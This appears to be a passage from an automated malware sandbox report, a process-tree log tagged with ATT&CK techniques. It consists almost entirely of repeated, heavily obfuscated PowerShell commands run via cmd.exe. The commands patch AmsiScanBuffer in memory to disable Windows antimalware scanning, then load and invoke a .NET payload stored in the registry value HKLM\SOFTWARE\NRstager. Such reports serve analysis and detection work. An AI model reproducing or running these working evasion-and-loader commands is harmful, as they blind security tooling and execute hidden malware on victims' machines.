+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+'N'+'Rst'+[Char](97)+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:EQKpKSUtSIAU{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$IUNsQztYknCXTq,[Parameter(Position=1)][Type]$bOOSPtSQgb)$JvIAnULvMiB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+'le'+[Char](99)+''+[Char](116)+''+'e'+''+'d'+''+'D'+'e'+[Char](108)+'e'+'g'+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'Me'+'m'+'o'+'r'+''+'y'+''+'M'+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+'e',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+'g'+'a'+''+[Char](116)+''+[Char](101)+'Ty'+'p'+'e','C'+[Char](108)+''+[Char](97)+'s'+'s'+','+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+'s'+[Char](105)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+',A'+[Char](117)+''+[Char](116)+''+'o'+'C'+[Char](108)+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$JvIAnULvMiB.DefineConstructor(''+'R'+''+[Char](84)+''+'S'+''+'p'+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+'N'+[Char](97)+''+'m'+'e'+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+'e'+''+'B'+''+[Char](121)+'S'+'i'+''+[Char](103)+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$IUNsQztYknCXTq).SetImplementationFlags('R'+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e,'+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$JvIAnULvMiB.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+'k'+[Char](101)+'','Pu'+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+'e'+''+'B'+''+'y'+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+'N'+''+'e'+'w'+'S'+''+'l'+'o'+[Char](116)+''+[Char](44)+'V'+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$bOOSPtSQgb,$IUNsQztYknCXTq).SetImplementationFlags(''+[Char](82)+'un'+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+'an'+'a'+''+'g'+''+[Char](101)+''+'d'+'');Write-Output $JvIAnULvMiB.CreateType();}$UFkbQrsarSCEA=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+'i'+'c'+''+[Char](114)+'o'+'s'+''+[Char](111)+'f'+'t'+''+'.'+''+[Char](87)+''+[Char](105)+''+[Char](110)+'32'+'.'+''+'U'+''+'n'+''+'s'+''+[Char](97)+''+'f'+''+[Char](101)+''+[Char](78)+''+'a'+'t'+[Char](105)+''+[Char](118)+''+'e'+''+'M'+''+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$IPJiixVHuruOHv=$UFkbQrsarSCEA.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](80)+''+'r'+''+[Char](111)+''+'c'+'A'+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+'ss',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+'at'+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$wFuILCUcOlSISqtyJpV=EQKpKSUtSIAU @([String])([IntPtr]);$VdVEoTkkdMjyVijtDdMqFT=EQKpKSUtSIAU @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$dFWTXgaWoSl=$UFkbQrsarSCEA.GetMethod('G'+[Char](101)+''+[Char](116)+''+'M'+''+'o'+'d'+[Char](117)+''+[Char](108)+'e'+'H'+''+[Char](97)+''+'n'+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'e'+[Char](114)+'n'+'e'+''+[Char](108)+'3'+[Char](50)+'.'+[Char](100)+''+[Char](108)+''+'l'+'')));$hAdPhdOWwYbaFN=$IPJiixVHuruOHv.Invoke($Null,@([Object]$dFWTXgaWoSl,[Object](''+[Char](76)+'oa'+'d'+'Lib'+'r'+''+[Char](97)+'r'+'y'+''+[Char](65)+'')));$zkqqFSvRuMAUIXgPe=$IPJiixVHuruOHv.Invoke($Null,@([Object]$dFWTXgaWoSl,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+''+'P'+'r'+[Char](111)+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$egzFuQb=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hAdPhdOWwYbaFN,$wFuILCUcOlSISqtyJpV).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+'.'+[Char](100)+'ll');$wLrcRsEAoBVUIzOHD=$IPJiixVHuruOHv.Invoke($Null,@([Object]$egzFuQb,[Object]('AmsiSc'+[Char](97)+'n'+[Char](66)+''+'u'+''+'f'+''+'f'+''+[Char](101)+''+'r'+'')));$yoMTTcMCAY=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zkqqFSvRuMAUIXgPe,$VdVEoTkkdMjyVijtDdMqFT).Invoke($wLrcRsEAoBVUIzOHD,[uint32]8,4,[ref]$yoMTTcMCAY);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](186-49),[Byte](8+211),[Byte](213-29),[Byte](86+1),[Byte](43-43),[Byte](3+4),[Byte](33+95),[Byte](195-64),[Byte](22+171),[Byte](76-76),[Byte](97+98),[Byte](101+30),[Byte](205-12),[Byte](134-134)),0,$wLrcRsEAoBVUIzOHD,21-7);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zkqqFSvRuMAUIXgPe,$VdVEoTkkdMjyVijtDdMqFT).Invoke($wLrcRsEAoBVUIzOHD,[uint32]8,0x20,[ref]$yoMTTcMCAY);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+'N'+'Rst'+[Char](97)+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:LWUiQnuvSnrH{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$WYgzdDplGvEmhG,[Parameter(Position=1)][Type]$WKLdcvTuMo)$rtrlKFkAYcv=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+'f'+''+[Char](108)+'e'+[Char](99)+'te'+[Char](100)+''+'D'+'e'+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+'l'+'e'+'',$False).DefineType('My'+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+'p'+''+[Char](101)+'',''+[Char](67)+'l'+'a'+'s'+[Char](115)+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+''+[Char](101)+''+'d'+',A'+[Char](110)+'s'+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+'o'+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$rtrlKFkAYcv.DefineConstructor(''+[Char](82)+'T'+'S'+''+[Char](112)+''+'e'+''+[Char](99)+'ia'+'l'+''+[Char](78)+''+'a'+''+'m'+''+[Char](101)+','+'H'+''+[Char](105)+'d'+'e'+'B'+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$WYgzdDplGvEmhG).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+',M'+'a'+'n'+[Char](97)+''+'g'+''+[Char](101)+''+'d'+'');$rtrlKFkAYcv.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+'k'+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+'B'+''+[Char](121)+''+'S'+''+'i'+'g'+','+''+'N'+'e'+'w'+''+'S'+''+[Char](108)+''+'o'+''+'t'+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+'t'+''+[Char](117)+'a'+[Char](108)+'',$WKLdcvTuMo,$WYgzdDplGvEmhG).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+'a'+'n'+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');Write-Output $rtrlKFkAYcv.CreateType();}$yfdtFZpZQWDli=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Syst'+'e'+''+[Char](109)+''+'.'+'d'+'l'+'l')}).GetType('M'+'i'+''+'c'+'ro'+[Char](115)+''+[Char](111)+'f'+'t'+''+[Char](46)+''+[Char](87)+'in'+[Char](51)+'2'+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'v'+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+'h'+'o'+''+[Char](100)+''+[Char](115)+'');$YTRwJpvSzCyOif=$yfdtFZpZQWDli.GetMethod('Ge'+[Char](116)+''+[Char](80)+''+[Char](114)+''+'o'+''+'c'+''+[Char](65)+''+[Char](100)+''+[Char](100)+'res'+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+','+'S'+[Char](116)+'a'+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$VnMjSzrxmOiYEjJsbYe=LWUiQnuvSnrH @([String])([IntPtr]);$qyhRbbmCGTwdZmMcRtBQHV=LWUiQnuvSnrH @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$cazJjnnXRfF=$yfdtFZpZQWDli.GetMethod('Ge'+'t'+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+'l'+'eHa'+'n'+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+'l32'+[Char](46)+''+[Char](100)+''+'l'+'l')));$QuSCBGDIjYREPz=$YTRwJpvSzCyOif.Invoke($Null,@([Object]$cazJjnnXRfF,[Object](''+'L'+'o'+[Char](97)+''+'d'+''+[Char](76)+''+'i'+''+[Char](98)+''+[Char](114)+''+[Char](97)+'ry'+[Char](65)+'')));$kSQIiFyOmCbNgCbGz=$YTRwJpvSzCyOif.Invoke($Null,@([Object]$cazJjnnXRfF,[Object]('V'+[Char](105)+'rt'+[Char](117)+'a'+[Char](108)+''+'P'+''+'r'+'ot'+[Char](101)+''+'c'+''+[Char](116)+'')));$UaksSDV=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QuSCBGDIjYREPz,$VnMjSzrxmOiYEjJsbYe).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+'.d'+'l'+''+[Char](108)+'');$nvkjMzJUXQJisCeEV=$YTRwJpvSzCyOif.Invoke($Null,@([Object]$UaksSDV,[Object](''+[Char](65)+'msi'+'S'+'c'+'a'+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+'r')));$lnMSYxqILy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kSQIiFyOmCbNgCbGz,$qyhRbbmCGTwdZmMcRtBQHV).Invoke($nvkjMzJUXQJisCeEV,[uint32]8,4,[ref]$lnMSYxqILy);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](142-5),[Byte](37+164),[Byte](236-52),[Byte](136-49),[Byte](248-248),[Byte](245-238),[Byte](16+112),[Byte](205-74),[Byte](57+136),[Byte](24-24),[Byte](130+65),[Byte](142-5),[Byte](20+181)),0,$nvkjMzJUXQJisCeEV,86-73);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kSQIiFyOmCbNgCbGz,$qyhRbbmCGTwdZmMcRtBQHV).Invoke($nvkjMzJUXQJisCeEV,[uint32]8,0x20,[ref]$lnMSYxqILy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+'T'+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue('N'+'R'+'s'+'t'+'a'+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:LWUiQnuvSnrH{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$WYgzdDplGvEmhG,[Parameter(Position=1)][Type]$WKLdcvTuMo)$rtrlKFkAYcv=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+'f'+''+[Char](108)+'e'+[Char](99)+'te'+[Char](100)+''+'D'+'e'+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+'l'+'e'+'',$False).DefineType('My'+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+'p'+''+[Char](101)+'',''+[Char](67)+'l'+'a'+'s'+[Char](115)+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+''+[Char](101)+''+'d'+',A'+[Char](110)+'s'+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+'o'+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$rtrlKFkAYcv.DefineConstructor(''+[Char](82)+'T'+'S'+''+[Char](112)+''+'e'+''+[Char](99)+'ia'+'l'+''+[Char](78)+''+'a'+''+'m'+''+[Char](101)+','+'H'+''+[Char](105)+'d'+'e'+'B'+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$WYgzdDplGvEmhG).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+',M'+'a'+'n'+[Char](97)+''+'g'+''+[Char](101)+''+'d'+'');$rtrlKFkAYcv.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+'k'+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+'B'+''+[Char](121)+''+'S'+''+'i'+'g'+','+''+'N'+'e'+'w'+''+'S'+''+[Char](108)+''+'o'+''+'t'+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+'t'+''+[Char](117)+'a'+[Char](108)+'',$WKLdcvTuMo,$WYgzdDplGvEmhG).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+'a'+'n'+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');Write-Output $rtrlKFkAYcv.CreateType();}$yfdtFZpZQWDli=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Syst'+'e'+''+[Char](109)+''+'.'+'d'+'l'+'l')}).GetType('M'+'i'+''+'c'+'ro'+[Char](115)+''+[Char](111)+'f'+'t'+''+[Char](46)+''+[Char](87)+'in'+[Char](51)+'2'+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'v'+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+'h'+'o'+''+[Char](100)+''+[Char](115)+'');$YTRwJpvSzCyOif=$yfdtFZpZQWDli.GetMethod('Ge'+[Char](116)+''+[Char](80)+''+[Char](114)+''+'o'+''+'c'+''+[Char](65)+''+[Char](100)+''+[Char](100)+'res'+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+','+'S'+[Char](116)+'a'+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$VnMjSzrxmOiYEjJsbYe=LWUiQnuvSnrH @([String])([IntPtr]);$qyhRbbmCGTwdZmMcRtBQHV=LWUiQnuvSnrH @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$cazJjnnXRfF=$yfdtFZpZQWDli.GetMethod('Ge'+'t'+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+'l'+'eHa'+'n'+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+'l32'+[Char](46)+''+[Char](100)+''+'l'+'l')));$QuSCBGDIjYREPz=$YTRwJpvSzCyOif.Invoke($Null,@([Object]$cazJjnnXRfF,[Object](''+'L'+'o'+[Char](97)+''+'d'+''+[Char](76)+''+'i'+''+[Char](98)+''+[Char](114)+''+[Char](97)+'ry'+[Char](65)+'')));$kSQIiFyOmCbNgCbGz=$YTRwJpvSzCyOif.Invoke($Null,@([Object]$cazJjnnXRfF,[Object]('V'+[Char](105)+'rt'+[Char](117)+'a'+[Char](108)+''+'P'+''+'r'+'ot'+[Char](101)+''+'c'+''+[Char](116)+'')));$UaksSDV=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QuSCBGDIjYREPz,$VnMjSzrxmOiYEjJsbYe).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+'.d'+'l'+''+[Char](108)+'');$nvkjMzJUXQJisCeEV=$YTRwJpvSzCyOif.Invoke($Null,@([Object]$UaksSDV,[Object](''+[Char](65)+'msi'+'S'+'c'+'a'+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+'r')));$lnMSYxqILy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kSQIiFyOmCbNgCbGz,$qyhRbbmCGTwdZmMcRtBQHV).Invoke($nvkjMzJUXQJisCeEV,[uint32]8,4,[ref]$lnMSYxqILy);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](142-5),[Byte](37+164),[Byte](236-52),[Byte](136-49),[Byte](248-248),[Byte](245-238),[Byte](16+112),[Byte](205-74),[Byte](57+136),[Byte](24-24),[Byte](130+65),[Byte](142-5),[Byte](20+181)),0,$nvkjMzJUXQJisCeEV,86-73);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kSQIiFyOmCbNgCbGz,$qyhRbbmCGTwdZmMcRtBQHV).Invoke($nvkjMzJUXQJisCeEV,[uint32]8,0x20,[ref]$lnMSYxqILy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+'T'+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue('N'+'R'+'s'+'t'+'a'+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:rWnrduPdctqQ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$nGSWVhzYzfouAo,[Parameter(Position=1)][Type]$fOfjpCQYDm)$qnVQdVmuPHu=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+''+'l'+''+'e'+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+'ele'+[Char](103)+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+'M'+''+[Char](101)+''+[Char](109)+''+[Char](111)+'r'+[Char](121)+'M'+'o'+''+'d'+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+'ate'+'T'+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+'P'+''+[Char](117)+'b'+'l'+''+'i'+''+[Char](99)+','+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+'A'+'n'+'si'+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+[Char](116)+'o'+[Char](67)+''+[Char](108)+''+'a'+'s'+[Char](115)+'',[MulticastDelegate]);$qnVQdVmuPHu.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+''+[Char](105)+''+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+',HideB'+[Char](121)+''+[Char](83)+''+'i'+'g'+[Char](44)+''+'P'+'u'+[Char](98)+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$nGSWVhzYzfouAo).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+'e'+',Ma'+'n'+''+'a'+''+[Char](103)+'e'+'d'+'');$qnVQdVmuPHu.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+'o'+''+'k'+''+[Char](101)+'','P'+[Char](117)+''+'b'+''+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+'e'+'B'+'y'+''+[Char](83)+''+[Char](105)+'g'+','+''+[Char](78)+''+'e'+''+[Char](119)+'S'+'l'+''+[Char](111)+''+'t'+','+'V'+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+'',$fOfjpCQYDm,$nGSWVhzYzfouAo).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+'ti'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $qnVQdVmuPHu.CreateType();}$NPPYDiOeguIAm=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+[Char](116)+'e'+'m'+'.d'+[Char](108)+''+'l'+'')}).GetType(''+'M'+'ic'+[Char](114)+'o'+'s'+'o'+'f'+''+[Char](116)+''+[Char](46)+'Wi'+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+'Un'+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+'iv'+[Char](101)+''+'M'+''+[Char](101)+'t'+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$tzkNQJkaXWgNwU=$NPPYDiOeguIAm.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+'A'+'d'+''+[Char](100)+''+[Char](114)+''+'e'+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+'b'+'l'+[Char](105)+'c'+[Char](44)+'St'+'a'+''+'t'+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$atqQoErDofpxuwoFsXS=rWnrduPdctqQ @([String])([IntPtr]);$dYXuTPzKDCshEPJUBKTjUS=rWnrduPdctqQ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ovCvpeETWRu=$NPPYDiOeguIAm.GetMethod(''+'G'+'e'+[Char](116)+''+'M'+'o'+'d'+''+[Char](117)+''+'l'+'e'+[Char](72)+''+[Char](97)+'ndl'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+'2.d'+'l'+''+[Char](108)+'')));$mEUizvuMdzFjWS=$tzkNQJkaXWgNwU.Invoke($Null,@([Object]$ovCvpeETWRu,[Object]('L'+[Char](111)+'ad'+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+'a'+''+[Char](114)+''+'y'+''+[Char](65)+'')));$tLillFAonOcSRWeXm=$tzkNQJkaXWgNwU.Invoke($Null,@([Object]$ovCvpeETWRu,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+''+'P'+''+[Char](114)+''+'o'+''+'t'+''+[Char](101)+''+[Char](99)+'t')));$NnzNVzp=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mEUizvuMdzFjWS,$atqQoErDofpxuwoFsXS).Invoke(''+'a'+''+[Char](109)+'si'+'.'+'dl'+[Char](108)+'');$cUNyRKTvbDLZBynrO=$tzkNQJkaXWgNwU.Invoke($Null,@([Object]$NnzNVzp,[Object]('AmsiS'+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+'f'+[Char](101)+''+[Char](114)+'')));$IscIqYoefz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tLillFAonOcSRWeXm,$dYXuTPzKDCshEPJUBKTjUS).Invoke($cUNyRKTvbDLZBynrO,[uint32]8,4,[ref]$IscIqYoefz);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](198-67),[Byte](23+211),[Byte](244-244),[Byte](132+52),[Byte](51+36),[Byte](47-47),[Byte](178-171),[Byte](173-45),[Byte](141-4),[Byte](146+64),[Byte](88+107),[Byte](51+80),[Byte](141+94),[Byte](244-244)),0,$cUNyRKTvbDLZBynrO,0+14);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tLillFAonOcSRWeXm,$dYXuTPzKDCshEPJUBKTjUS).Invoke($cUNyRKTvbDLZBynrO,[uint32]8,0x20,[ref]$IscIqYoefz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOF'+'T'+''+'W'+'A'+[Char](82)+''+[Char](69)+'').GetValue('N'+[Char](82)+''+[Char](115)+''+'t'+''+[Char](97)+'ge'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
-
